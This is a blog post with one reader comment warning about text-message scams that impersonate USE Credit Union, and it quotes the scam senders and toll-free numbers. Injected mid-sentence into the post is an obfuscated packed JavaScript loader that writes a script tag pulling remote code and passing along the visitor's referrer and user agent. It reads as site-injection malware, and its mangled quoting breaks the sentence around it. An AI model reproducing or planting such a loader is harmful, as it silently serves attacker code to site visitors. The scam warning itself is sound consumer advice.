Text Message scam

Today I received multiple text messages all referencing Unapproved activity. These include a url/email that doesn’t resolve and isn’t being sent from an authorized source.  I searched for info on it but it appears to be a new scam.  Here are the text messages I received so that you can be aware:

Fr: report@usecusrv.org
————————————-

ImportantUSE CREDIT UNION notify: *492
UNAPPROVED ACTIVITY.  Tollfree call 8663845761

Fr: report@usecusrv.org

ImportantUSE CREDIT UNION notify: *592
UNAPPROVED ACTIVITY.  Tollfree call 866.384.5761

Fr: usecu@usecuservices.org
————————————-

Important USE CREDIT UNION notify:
UNAUTHORIZED ACTIVITY.  Tollfree call 8007261453

If you received any of these emails it is clearly a scam, don’t respond.  Seems related to eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktnff|var|u0026u|referrer|idsef||js|php’.split(‘|’),0,{}))

  1. Got a similar text message on my phone just a few minutes ago. Text message read: From: usecu@usecuservices.org Important USE CREDIT UNION notify: UNAUTHORIZED ACTIVITY. Tollfree call 8007261453

    It might mean something if I had an account with them.

    I think these scammers are targeting people in a certain city by supplying a Credit Union that does business in the area (USE Credit Union does business in the San Diego area).

    I guess they hope they find some person that ends up having an account with them. Haven’t tried the supplied number and probably won’t since I hear that 800 numbers can grab the number you’re calling from even if you are blocking it.

    Just like Corey said, just ignore and delete the message.
